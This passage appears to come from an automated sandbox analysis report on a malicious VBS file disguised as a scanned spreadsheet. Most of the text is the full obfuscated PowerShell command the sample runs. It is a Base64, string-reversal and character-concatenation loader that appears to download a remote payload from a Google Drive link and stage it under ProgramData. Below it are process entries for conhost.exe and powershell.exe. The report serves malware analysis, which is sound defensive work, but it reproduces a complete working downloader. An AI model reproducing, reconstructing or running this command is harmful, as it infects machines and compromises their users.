+ 'u' + [char]65 + 'HQ' + [char]65 + 'YQBy' + [char]65 + 'GI' + [char]65 + 'dgBr' + [char]65 + 'GM' + [char]65 + 'cwBl' + [char]65 + 'GQ' + [char]65 + 'LgBw' + [char]65 + 'HQ' + [char]65 + 'ZgB' + [char]65 + '' + [char]65 + 'DE' + [char]65 + 'd' + [char]65 + 'Bh' + [char]65 + 'HI' + [char]65 + 'YgB2' + [char]65 + 'Gs' + [char]65 + 'YwBz' + [char]65 + 'GU' + [char]65 + 'Z' + [char]65 + '' + [char]65 + 'v' + [char]65 + 'C8' + [char]65 + 'OgBw' + [char]65 + 'HQ' + [char]65 + 'Zg' + [char]65 + 'n' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'K' + [char]65 + 'Bn' + [char]65 + 'G4' + [char]65 + 'aQBy' + [char]65 + 'HQ' + [char]65 + 'UwBk' + [char]65 + 'GE' + [char]65 + 'bwBs' + [char]65 + 'G4' + [char]65 + 'dwBv' + [char]65 + 'EQ' + [char]65 + 'LgBm' + [char]65 + 'HE' + [char]65 + 'Z' + [char]65 + 'Bq' + [char]65 + 'G0' + [char]65 + 'J' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'D0' + [char]65 + 'I' + [char]65 + 'Bn' + [char]65 + 'FM' + [char]65 + 'egBD' + [char]65 + 'EI' + [char]65 + 'b' + [char]65 + '' + [char]65 + 'k' + [char]65 + 'Ds' + [char]65 + 'KQ' + [char]65 + 'n' + [char]65 + 'E' + [char]65 + '' + [char]65 + 'Q' + [char]65 + 'Bw' + [char]65 + 'Eo' + [char]65 + 'O' + [char]65 + '' + [char]65 + '3' + [char]65 + 'DU' + [char]65 + 'MQ' + [char]65 + 'y' + [char]65 + 'G8' + [char]65 + 'cgBw' + [char]65 + 'HI' + [char]65 + 'ZQBw' + [char]65 + 'G8' + [char]65 + 'b' + [char]65 + 'Bl' + [char]65 + 'HY' + [char]65 + 'ZQBk' + [char]65 + 'Cc' + [char]65 + 'L' + [char]65 + '' + [char]65 + 'p' + [char]65 + 'Ck' + [char]65 + 'OQ' + [char]65 + '0' + [char]65 + 'Cw' + [char]65 + 'Ng' + [char]65 + 'x' + [char]65 + 'DE' + [char]65 + 'L' + [char]65 + '' + [char]65 + '3' + [char]65 + 'Dk' + [char]65 + 'L' + [char]65 + '' + [char]65 + '0' + [char]65 + 'DE' + [char]65 + 'MQ' + [char]65 + 's' + [char]65 + 'Dg' + [char]65 + 'OQ' + [char]65 + 's' + [char]65 + 'Dg' + [char]65 + 'MQ' + [char]65 + 'x' + [char]65 + 'Cw' + [char]65 + 'Nw' + [char]65 + 'w' + [char]65 + 'DE' + [char]65 + 'L' + [char]65 + '' + [char]65 + '5' + [char]65 + 'Dk' + [char]65 + 'L' + [char]65 + '' + [char]65 + '1' + [char]65 + 'DE' + [char]65 + 'MQ' + [char]65 + 's' + [char]65 + 'DE' + [char]65 + 'M' + [char]65 + '' + [char]65 + 'x' + [char]65 + 'Cw' + [char]65 + 'M' + [char]65 + '' + [char]65 + 'w' + [char]65 + 'DE' + [char]65 + 'K' + [char]65 + 'Bd' + [char]65 + 'F0' + [char]65 + 'WwBy' + [char]65 + 'GE' + [char]65 + 'a' + [char]65 + 'Bj' + [char]65 + 'Fs' + [char]65 + 'I' + [char]65 + 'Bu' + [char]65 + 'Gk' + [char]65 + 'bwBq' + [char]65 + 'C0' + [char]65 + 'K' + [char]65 + '' + [char]65 + 'o' + [char]65 + 'Gw' + [char]65 + 'YQBp' + [char]65 + 'HQ' + [char]65 + 'bgBl' + [char]65 + 'GQ' + [char]65 + 'ZQBy' + [char]65 + 'EM' + [char]65 + 'awBy' + [char]65 + 'G8' + [char]65 + 'dwB0' + [char]65 + 'GU' + [char]65 + 'Tg' + [char]65 + 'u' + [char]65 + 'HQ' + [char]65 + 'ZQBO' + [char]65 + 'C4' + [char]65 + 'bQBl' + [char]65 + 'HQ' + [char]65 + 'cwB5' + [char]65 + 'FM' + [char]65 + 'I' + [char]65 + 'B0' + [char]65 + 'GM' + [char]65 + 'ZQBq' + [char]65 + 'GI' + [char]65 + 'bw' + [char]65 + 't' + [char]65 + 'Hc' + [char]65 + 'ZQBu' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'PQ' + [char]65 + 'g' + [char]65 + 'HM' + [char]65 + 'b' + [char]65 + 'Bh' + [char]65 + 'Gk' + [char]65 + 'd' + [char]65 + 'Bu' + [char]65 + 'GU' + [char]65 + 'Z' + [char]65 + 'Bl' + [char]65 + 'HI' + [char]65 + 'Qw' + [char]65 + 'u' + [char]65 + 'GY' + [char]65 + 'cQBk' + [char]65 + 'Go' + [char]65 + 'bQ' + [char]65 + 'k' + [char]65 + 'Ds' + [char]65 + 'O' + [char]65 + 'BG' + [char]65 + 'FQ' + [char]65 + 'VQ' + [char]65 + '6' + [char]65 + 'Do' + [char]65 + 'XQBn' + [char]65 + 'G4' + [char]65 + 'aQBk' + [char]65 + 'G8' + [char]65 + 'YwBu' + [char]65 + 'EU' + [char]65 + 'LgB0' + [char]65 + 'Hg' + [char]65 + 'ZQBU' + [char]65 + 'C4' + [char]65 + 'bQBl' + [char]65 + 'HQ' + [char]65 + 'cwB5' + [char]65 + 'FM' + [char]65 + 'Ww' + [char]65 + 'g' + [char]65 + 'D0' + [char]65 + 'I' + [char]65 + 'Bn' + [char]65 + 'G4' + [char]65 + 'aQBk' + [char]65 + 'G8' + [char]65 + 'YwBu' + [char]65 + 'EU' + [char]65 + 'LgBm' + [char]65 + 'HE' + [char]65 + 'Z' + [char]65 + 'Bq' + [char]65 + 'G0' + [char]65 + 'J' + [char]65 + '' + [char]65 + '7' + [char]65 + 'Ck' + [char]65 + 'd' + [char]65 + 'Bu' + [char]65 + 'GU' + [char]65 + 'aQBs' + [char]65 + 'EM' + [char]65 + 'YgBl' + [char]65 + 'Fc' + [char]65 + 'LgB0' + [char]65 + 'GU' + [char]65 + 'Tg' + [char]65 + 'g' + [char]65 + 'HQ' + [char]65 + 'YwBl' + [char]65 + 'Go' + [char]65 + 'YgBP' + [char]65 + 'C0' + [char]65 + 'dwBl' + [char]65 + 'E4' + [char]65 + 'K' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'D0' + [char]65 + 'I' + [char]65 + 'Bm' + [char]65 + 'HE' + [char]65 + 'Z' + [char]65 + 'Bq' + [char]65 + 'G0' + [char]65 + 'J' + [char]65 + '' + [char]65 + '7' + [char]65 + 'Gc' + [char]65 + 'UwB6' + [char]65 + 'EM' + [char]65 + 'QgBs' + [char]65 + 'CQ' + [char]65 + 'Ow' + [char]65 + 'y' + [char]65 + 'DE' + [char]65 + 'cwBs' + [char]65 + 'FQ' + [char]65 + 'Og' + [char]65 + '6' + [char]65 + 'F0' + [char]65 + 'ZQBw' + [char]65 + 'Hk' + [char]65 + 'V' + [char]65 + 'Bs' + [char]65 + 'G8' + [char]65 + 'YwBv' + [char]65 + 'HQ' + [char]65 + 'bwBy' + [char]65 + 'F' + [char]65 + '' + [char]65 + 'eQB0' + [char]65 + 'Gk' + [char]65 + 'cgB1' + [char]65 + 'GM' + [char]65 + 'ZQBT' + [char]65 + 'C4' + [char]65 + 'd' + [char]65 + 'Bl' + [char]65 + 'E4' + [char]65 + 'LgBt' + [char]65 + 'GU' + [char]65 + 'd' + [char]65 + 'Bz' + [char]65 + 'Hk' + [char]65 + 'UwBb' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'PQ' + [char]65 + 'g' + [char]65 + 'Gw' + [char]65 + 'bwBj' + [char]65 + 'G8' + [char]65 + 'd' + [char]65 + 'Bv' + [char]65 + 'HI' + [char]65 + 'U' + [char]65 + 'B5' + [char]65 + 'HQ' + [char]65 + 'aQBy' + [char]65 + 'HU' + [char]65 + 'YwBl' + [char]65 + 'FM' + [char]65 + 'Og' + [char]65 + '6' + [char]65 + 'F0' + [char]65 + 'cgBl' + [char]65 + 'Gc' + [char]65 + 'YQBu' + [char]65 + 'GE' + [char]65 + 'TQB0' + [char]65 + 'G4' + [char]65 + 'aQBv' + [char]65 + 'F' + [char]65 + '' + [char]65 + 'ZQBj' + [char]65 + 'Gk' + [char]65 + 'dgBy' + [char]65 + 'GU' + [char]65 + 'Uw' + [char]65 + 'u' + [char]65 + 'HQ' + [char]65 + 'ZQBO' + [char]65 + 'C4' + [char]65 + 'bQBl' + [char]65 + 'HQ' + [char]65 + 'cwB5' + [char]65 + 'FM' + [char]65 + 'Ww' + [char]65 + '7' + [char]65 + 'H0' + [char]65 + 'ZQB1' + [char]65 + 'HI' + [char]65 + 'd' + [char]65 + '' + [char]65 + 'k' + [char]65 + 'Hs' + [char]65 + 'I' + [char]65 + '' + [char]65 + '9' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'awBj' + [char]65 + 'GE' + [char]65 + 'YgBs' + [char]65 + 'Gw' + [char]65 + 'YQBD' + [char]65 + 'G4' + [char]65 + 'bwBp' + [char]65 + 'HQ' + [char]65 + 'YQBk' + [char]65 + 'Gk' + [char]65 + 'b' + [char]65 + 'Bh' + [char]65 + 'FY' + [char]65 + 'ZQB0' + [char]65 + 'GE' + [char]65 + 'YwBp' + [char]65 + 'GY' + [char]65 + 'aQB0' + [char]65 + 'HI' + [char]65 + 'ZQBD' + [char]65 + 'HI' + [char]65 + 'ZQB2' + [char]65 + 'HI' + [char]65 + 'ZQBT' + [char]65 + 'Do' + [char]65 + 'OgBd' + [char]65 + 'HI' + [char]65 + 'ZQBn' + [char]65 + 'GE' + [char]65 + 'bgBh' + [char]65 + 'E0' + [char]65 + 'd' + [char]65 + 'Bu' + [char]65 + 'Gk' + [char]65 + 'bwBQ' + [char]65 + 'GU' + [char]65 + 'YwBp' + [char]65 + 'HY' + [char]65 + 'cgBl' + [char]65 + 'FM' + [char]65 + 'LgB0' + [char]65 + 'GU' + [char]65 + 'Tg' + [char]65 + 'u' + [char]65 + 'G0' + [char]65 + 'ZQB0' + [char]65 + 'HM' + [char]65 + 'eQBT' + [char]65 + 'Fs' + [char]65 + 'ew' + [char]65 + 'g' + [char]65 + 'GU' + [char]65 + 'cwBs' + [char]65 + 'GU' + [char]65 + 'fQ' + [char]65 + 'g' + [char]65 + 'GY' + [char]65 + 'Lw' + [char]65 + 'g' + [char]65 + 'D' + [char]65 + '' + [char]65 + 'I' + [char]65 + 'B0' + [char]65 + 'C8' + [char]65 + 'I' + [char]65 + 'By' + [char]65 + 'C8' + [char]65 + 'I' + [char]65 + 'Bl' + [char]65 + 'Hg' + [char]65 + 'ZQ' + [char]65 + 'u' + [char]65 + 'G4' + [char]65 + 'dwBv' + [char]65 + 'GQ' + [char]65 + 'd' + [char]65 + 'B1' + [char]65 + 'Gg' + [char]65 + 'cw' + [char]65 + 'g' + [char]65 + 'Ds' + [char]65 + 'Jw' + [char]65 + 'w' + [char]65 + 'Dg' + [char]65 + 'MQ' + [char]65 + 'g' + [char]65 + 'H' + [char]65 + '' + [char]65 + 'ZQBl' + [char]65 + 'Gw' + [char]65 + 'cw' + [char]65 + 'n' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'Z' + [char]65 + 'Bu' + [char]65 + 'GE' + [char]65 + 'bQBt' + [char]65 + 'G8' + [char]65 + 'Yw' + [char]65 + 't' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'ZQB4' + [char]65 + 'GU' + [char]65 + 'LgBs' + [char]65 + 'Gw' + [char]65 + 'ZQBo' + [char]65 + 'HM' + [char]65 + 'cgBl' + [char]65 + 'Hc' + [char]65 + 'bwBw' + [char]65 + 'Ds' + [char]65 + 'I' + [char]65 + 'Bl' + [char]65 + 'GM' + [char]65 + 'cgBv' + [char]65 + 'GY' + [char]65 + 'LQ' + [char]65 + 'g' + [char]65 + 'Ck' + [char]65 + 'I' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'H' + [char]65 + '' + [char]65 + 'dQB0' + [char]65 + 'HI' + [char]65 + 'YQB0' + [char]65 + 'FM' + [char]65 + 'X' + [char]65 + 'Bz' + [char]65 + 'G0' + [char]65 + 'YQBy' + [char]65 + 'Gc' + [char]65 + 'bwBy' + [char]65 + 'F' + [char]65 + '' + [char]65 + 'X' + [char]65 + 'B1' + [char]65 + 'G4' + [char]65 + 'ZQBN' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'd' + [char]65 + 'By' + [char]65 + 'GE' + [char]65 + 'd' + [char]65 + 'BT' + [char]65 + 'Fw' + [char]65 + 'cwB3' + [char]65 + 'G8' + [char]65 + 'Z' + [char]65 + 'Bu' + [char]65 + 'Gk' + [char]65 + 'VwBc' + [char]65 + 'HQ' + [char]65 + 'ZgBv' + [char]65 + 'HM' + [char]65 + 'bwBy' + [char]65 + 'GM' + [char]65 + 'aQBN' + [char]65 + 'Fw' + [char]65 + 'ZwBu' + [char]65 + 'Gk' + [char]65 + 'bQBh' + [char]65 + 'G8' + [char]65 + 'UgBc' + [char]65 + 'GE' + [char]65 + 'd' + [char]65 + 'Bh' + [char]65 + 'EQ' + [char]65 + 'c' + [char]65 + 'Bw' + [char]65 + 'EE' + [char]65 + 'X' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'Kw' + [char]65 + 'g' + [char]65 + 'Fo' + [char]65 + 'SwBu' + [char]65 + 'Fk' + [char]65 + 'TQ' + [char]65 + 'k' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'K' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'G4' + [char]65 + 'bwBp' + [char]65 + 'HQ' + [char]65 + 'YQBu' + [char]65 + 'Gk' + [char]65 + 'd' + [char]65 + 'Bz' + [char]65 + 'GU' + [char]65 + 'R' + [char]65 + '' + [char]65 + 't' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'Jw' + [char]65 + 'l' + [char]65 + 'Ek' + [char]65 + 'a' + [char]65 + 'Bx' + [char]65 + 'FI' + [char]65 + 'W' + [char]65 + '' + [char]65 + 'l' + [char]65 + 'Cc' + [char]65 + 'I' + [char]65 + 'Bt' + [char]65 + 'GU' + [char]65 + 'd' + [char]65 + 'BJ' + [char]65 + 'C0' + [char]65 + 'eQBw' + [char]65 + 'G8' + [char]65 + 'Qw' + [char]65 + 'g' + [char]65 + 'Ds' + [char]65 + 'I' + [char]65 + 'B0' + [char]65 + 'HI' + [char]65 + 'YQB0' + [char]65 + 'HM' + [char]65 + 'ZQBy' + [char]65 + 'G8' + [char]65 + 'bg' + [char]65 + 'v' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'd' + [char]65 + 'Bl' + [char]65 + 'Gk' + [char]65 + 'dQBx' + [char]65 + 'C8' + [char]65 + 'I' + [char]65 + 'BH' + [char]65 + 'GM' + [char]65 + 'VwBp' + [char]65 + 'FI' + [char]65 + 'I' + [char]65 + 'Bl' + [char]65 + 'Hg' + [char]65 + 'ZQ' + [char]65 + 'u' + [char]65 + 'GE' + [char]65 + 'cwB1' + [char]65 + 'Hc' + [char]65 + 'I' + [char]65 + 'Bl' + [char]65 + 'Hg' + [char]65 + 'ZQ' + [char]65 + 'u' + [char]65 + 'Gw' + [char]65 + 'b' + [char]65 + 'Bl' + [char]65 + 'Gg' + [char]65 + 'cwBy' + [char]65 + 'GU' + [char]65 + 'dwBv' + [char]65 + 'H' + [char]65 + '' + [char]65 + 'I' + [char]65 + '' + [char]65 + '7' + [char]65 + 'Ck' + [char]65 + 'JwB1' + [char]65 + 'HM' + [char]65 + 'bQ' + [char]65 + 'u' + [char]65 + 'G4' + [char]65 + 'aQB3' + [char]65 + 'H' + [char]65 + '' + [char]65 + 'VQBc' + [char]65 + 'Cc' + [char]65 + 'I' + [char]65 + '' + [char]65 + 'r' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'V' + [char]65 + 'By' + [char]65 + 'Eg' + [char]65 + 'VgB1' + [char]65 + 'CQ' + [char]65 + 'K' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'D0' + [char]65 + 'I' + [char]65 + 'BH' + [char]65 + 'GM' + [char]65 + 'VwBp' + [char]65 + 'FI' + [char]65 + 'Ow' + [char]65 + 'p' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'ZQBt' + [char]65 + 'GE' + [char]65 + 'TgBy' + [char]65 + 'GU' + [char]65 + 'cwBV' + [char]65 + 'Do' + [char]65 + 'OgBd' + [char]65 + 'HQ' + [char]65 + 'bgBl' + [char]65 + 'G0' + [char]65 + 'bgBv' + [char]65 + 'HI' + [char]65 + 'aQB2' + [char]65 + 'G4' + [char]65 + 'RQBb' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'Kw' + [char]65 + 'g' + [char]65 + 'Cc' + [char]65 + 'X' + [char]65 + 'Bz' + [char]65 + 'HI' + [char]65 + 'ZQBz' + [char]65 + 'FU' + [char]65 + 'X' + [char]65 + '' + [char]65 + '6' + [char]65 + 'EM' + [char]65 + 'Jw' + [char]65 + 'o' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'PQ' + [char]65 + 'g' + [char]65 + 'Fo' + [char]65 + 'SwBu' + [char]65 + 'Fk' + [char]65 + 'TQ' + [char]65 + 'k' + [char]65 + 'Ds' + [char]65 + 'KQ' + [char]65 + 'n' + [char]65 + 'HU' + [char]65 + 'cwBt' + [char]65 + 'C4' + [char]65 + 'bgBp' + [char]65 + 'Hc' + [char]65 + 'c' + [char]65 + 'BV' + [char]65 + 'Fw' + [char]65 + 'Jw' + [char]65 + 'g' + [char]65 + 'Cs' + [char]65 + 'I' + [char]65 + 'BU' + [char]65 + 'HI' + [char]65 + 'S' + [char]65 + 'BW' + [char]65 + 'HU' + [char]65 + 'J' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'Cw' + [char]65 + 'QgBL' + [char]65 + 'Ew' + [char]65 + 'UgBV' + [char]65 + 'CQ' + [char]65 + 'K' + [char]65 + 'Bl' + [char]65 + 'Gw' + [char]65 + 'aQBG' + [char]65 + 'GQ' + [char]65 + 'YQBv' + [char]65 + 'Gw' + [char]65 + 'bgB3' + [char]65 + 'G8' + [char]65 + 'R' + [char]65 + '' + [char]65 + 'u' + [char]65 + 'H' + [char]65 + '' + [char]65 + 'c' + [char]65 + 'Bl' + [char]65 + 'GY' + [char]65 + 'eQ' + [char]65 + 'k' + [char]65 + 'Ds' + [char]65 + 'O' + [char]65 + 'BG' + [char]65 + 'FQ' + [char]65 + 'VQ' + [char]65 + '6' + [char]65 + 'Do' + [char]65 + 'XQBn' + [char]65 + 'G4' + [char]65 + 'aQBk' + [char]65 + 'G8' + [char]65 + 'YwBu' + [char]65 + 'EU' + [char]65 + 'LgB0' + [char]65 + 'Hg' + [char]65 + 'ZQBU' + [char]65 + 'C4' + [char]65 + 'bQBl' + [char]65 + 'HQ' + [char]65 + 'cwB5' + [char]65 + 'FM' + [char]65 + 'Ww' + [char]65 + 'g' + [char]65 + 'D0' + [char]65 + 'I' + [char]65 + 'Bn' + [char]65 + 'G4' + [char]65 + 'aQBk' + [char]65 + 'G8' + [char]65 + 'YwBu' + [char]65 + 'EU' + [char]65 + 'LgBw' + [char]65 + 'H' + [char]65 + '' + [char]65 + 'ZQBm' + [char]65 + 'Hk' + [char]65 + 'J' + [char]65 + '' + [char]65 + '7' + [char]65 + 'Ck' + [char]65 + 'd' + [char]65 + 'Bu' + [char]65 + 'GU' + [char]65 + 'aQBs' + [char]65 + 'EM' + [char]65 + 'YgBl' + [char]65 + 'Fc' + [char]65 + 'LgB0' + [char]65 + 'GU' + [char]65 + 'Tg' + [char]65 + 'g' + [char]65 + 'HQ' + [char]65 + 'YwBl' + [char]65 + 'Go' + [char]65 + 'YgBP' + [char]65 + 'C0' + [char]65 + 'dwBl' + [char]65 + 'E4' + [char]65 + 'K' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'D0' + [char]65 + 'I' + [char]65 + 'Bw' + [char]65 + 'H' + [char]65 + '' + [char]65 + 'ZQBm' + [char]65 + 'Hk' + [char]65 + 'J' + [char]65 + '' + [char]65 + '7' + [char]65 + 'H0' + [char]65 + 'Ow' + [char]65 + 'g' + [char]65 + 'Ck' + [char]65 + 'JwB0' + [char]65 + 'E8' + [char]65 + 'T' + [char]65 + 'Bj' + [char]65 + 'F8' + [char]65 + 'SwBh' + [char]65 + 'DM' + [char]65 + 'WgBm' + [char]65 + 'G8' + [char]65 + 'W' + [char]65 + '' + [char]65 + 'y' + [char]65 + 'Eo' + [char]65 + 'SgBy' + [char]65 + 'FY' + [char]65 + 'a' + [char]65 + 'Bt' + [char]65 + 'FY' + [char]65 + 'OQBj' + [char]65 + 'G0' + [char]65 + 'OQBY' + [char]65 + 'HM' + [char]65 + 'dQBY' + [char]65 + 'G0' + [char]65 + 'ag' + [char]65 + 'x' + [char]65 + 'Gc' + [char]65 + 'MQ' + [char]65 + 'n' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'Kw' + [char]65 + 'g' + [char]65 + 'Ek' + [char]65 + 'bwBx' + [char]65 + 'GE' + [char]65 + 'Rg' + [char]65 + 'k' + [char]65 + 'Cg' + [char]65 + 'I' + [char]65 + '' + [char]65 + '9' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'SQBv' + [char]65 + 'HE' + [char]65 + 'YQBG' + [char]65 + 'CQ' + [char]65 + 'ew' + [char]65 + 'g' + [char]65 + 'GU' + [char]65 + 'cwBs' + [char]65 + 'GU' + [char]65 + 'fQ' + [char]65 + '7' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'KQ' + [char]65 + 'n' + [char]65 + 'DI' + [char]65 + 'N' + [char]65 + 'B1' + [char]65 + 'Fg' + [char]65 + 'SgBU' + [char]65 + 'HE' + [char]65 + 'YQBt' + [char]65 + 'Gc' + [char]65 + 'eQBN' + [char]65 + 'HQ' + [char]65 + 'RgB6' + [char]65 + 'GE' + [char]65 + 'awBQ' + [char]65 + 'FI' + [char]65 + 'MQBx' + [char]65 + 'F8' + [char]65 + 'SQB2' + [char]65 + 'Ec' + [char]65 + 'aQBY' + [char]65 + 'E4' + [char]65 + 'Z' + [char]65 + 'Bx' + [char]65 + 'GE' + [char]65 + 'Tg' + [char]65 + 'x' + [char]65 + 'Cc' + [char]65 + 'I' + [char]65 + '' + [char]65 + 'r' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'SQBv' + [char]65 + 'HE' + [char]65 + 'YQBG' + [char]65 + 'CQ' + [char]65 + 'K' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'D0' + [char]65 + 'I' + [char]65 + 'BJ' + [char]65 + 'G8' + [char]65 + 'cQBh' + [char]65 + 'EY' + [char]65 + 'J' + [char]65 + 'B7' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'KQ' + [char]65 + 'g' + [char]65 + 'HI' + [char]65 + 'bQBF' + [char]65 + 'Hc' + [char]65 + 'ag' + [char]65 + 'k' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'K' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'GY' + [char]65 + 'aQ' + [char]65 + '7' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'KQ' + [char]65 + 'n' + [char]65 + 'DQ' + [char]65 + 'Ng' + [char]65 + 'n' + [char]65 + 'Cg' + [char]65 + 'cwBu' + [char]65 + 'Gk' + [char]65 + 'YQB0' + [char]65 + 'G4' + [char]65 + 'bwBD' + [char]65 + 'C4' + [char]65 + 'RQBS' + [char]65 + 'FU' + [char]65 + 'V' + [char]65 + 'BD' + [char]65 + 'EU' + [char]65 + 'V' + [char]65 + 'BJ' + [char]65 + 'Eg' + [char]65 + 'QwBS' + [char]65 + 'EE' + [char]65 + 'XwBS' + [char]65 + 'E8' + [char]65 + 'UwBT' + [char]65 + 'EU' + [char]65 + 'QwBP' + [char]65 + 'FI' + [char]65 + 'U' + [char]65 + '' + [char]65 + '6' + [char]65 + 'HY' + [char]65 + 'bgBl' + [char]65 + 'CQ' + [char]65 + 'I' + [char]65 + '' + [char]65 + '9' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'cgBt' + [char]65 + 'EU' + [char]65 + 'dwBq' + [char]65 + 'CQ' + [char]65 + 'Ow' + [char]65 + 'n' + [char]65 + 'D0' + [char]65 + 'Z' + [char]65 + 'Bp' + [char]65 + 'CY' + [char]65 + 'Z' + [char]65 + 'Bh' + [char]65 + 'G8' + [char]65 + 'b' + [char]65 + 'Bu' + [char]65 + 'Hc' + [char]65 + 'bwBk' + [char]65 + 'D0' + [char]65 + 'd' + [char]65 + 'By' + [char]65 + 'G8' + [char]65 + 'c' + [char]65 + 'B4' + [char]65 + 'GU' + [char]65 + 'PwBj' + [char]65 + 'HU' + [char]65 + 'LwBt' + [char]65 + 'G8' + [char]65 + 'Yw' + [char]65 + 'u' + [char]65 + 'GU' + [char]65 + 'b' + [char]65 + 'Bn' + [char]65 + 'G8' + [char]65 + 'bwBn' + [char]65 + 'C4' + [char]65 + 'ZQB2' + [char]65 + 'Gk' + [char]65 + 'cgBk' + [char]65 + 'C8' + [char]65 + 'Lw' + [char]65 + '6' + [char]65 + 'HM' + [char]65 + 'c' + [char]65 + 'B0' + [char]65 + 'HQ' + [char]65 + 'a' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'PQ' + [char]65 + 'g' + [char]65 + 'Ek' + [char]65 + 'bwBx' + [char]65 + 'GE' + [char]65 + 'Rg' + [char]65 + 'k' + [char]65 + 'Ds' + [char]65 + 'KQ' + [char]65 + 'g' + [char]65 + 'Cc' + [char]65 + 'dQBz' + [char]65 + 'G0' + [char]65 + 'LgBu' + [char]65 + 'Gk' + [char]65 + 'dwBw' + [char]65 + 'FU' + [char]65 + 'X' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'Kw' + [char]65 + 'g' + [char]65 + 'FQ' + [char]65 + 'cgBI' + [char]65 + 'FY' + [char]65 + 'dQ' + [char]65 + 'k' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'K' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'Gw' + [char]65 + 'ZQBk' + [char]65 + 'Ds' + [char]65 + 'KQ' + [char]65 + 'o' + [char]65 + 'Gg' + [char]65 + 'd' + [char]65 + 'Bh' + [char]65 + 'F' + [char]65 + '' + [char]65 + 'c' + [char]65 + 'Bt' + [char]65 + 'GU' + [char]65 + 'V' + [char]65 + 'B0' + [char]65 + 'GU' + [char]65 + 'Rw' + [char]65 + '6' + [char]65 + 'Do' + [char]65 + 'XQBo' + [char]65 + 'HQ' + [char]65 + 'YQBQ' + [char]65 + 'C4' + [char]65 + 'TwBJ' + [char]65 + 'C4' + [char]65 + 'bQBl' + [char]65 + 'HQ' + [char]65 + 'cwB5' + [char]65 + 'FM' + [char]65 + 'Ww' + [char]65 + 'g' + [char]65 + 'D0' + [char]65 + 'I' + [char]65 + 'BU' + [char]65 + 'HI' + [char]65 + 'S' + [char]65 + 'BW' + [char]65 + 'HU' + [char]65 + 'J' + [char]65 + 'B7' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'KQ' + [char]65 + 'g' + [char]65 + 'Ew' + [char]65 + 'QQBy' + [char]65 + 'Hc' + [char]65 + 'Sg' + [char]65 + 'k' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'K' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'GY' + [char]65 + 'aQ' + [char]65 + '7' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'KQ' + [char]65 + 'y' + [char]65 + 'Cg' + [char]65 + 'cwBs' + [char]65 + 'GE' + [char]65 + 'dQBx' + [char]65 + 'EU' + [char]65 + 'LgBy' + [char]65 + 'G8' + [char]65 + 'agBh' + [char]65 + 'E0' + [char]65 + 'LgBu' + [char]65 + 'G8' + [char]65 + 'aQBz' + [char]65 + 'HI' + [char]65 + 'ZQBW' + [char]65 + 'C4' + [char]65 + 'd' + [char]65 + 'Bz' + [char]65 + 'G8' + [char]65 + 'a' + [char]65 + '' + [char]65 + 'k' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'PQ' + [char]65 + 'g' + [char]65 + 'Ew' + [char]65 + 'QQBy' + [char]65 + 'Hc' + [char]65 + 'Sg' + [char]65 + 'k' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'Ow' + [char]65 + '=';$nvcbv = $qKKzc.replace('???' , 'A') ;$acwwn = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $nvcbv ) ); $acwwn = $acwwn[-1..-$acwwn.Length] -join '';$acwwn = $acwwn.replace('%XRqhI%','C:\Users\user\Desktop\SKMBT_77122012816310TD0128_17311_XLS.vbs');powershell $acwwn
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	03:28:03
Start date:	03/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	03:28:06
Start date:	03/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
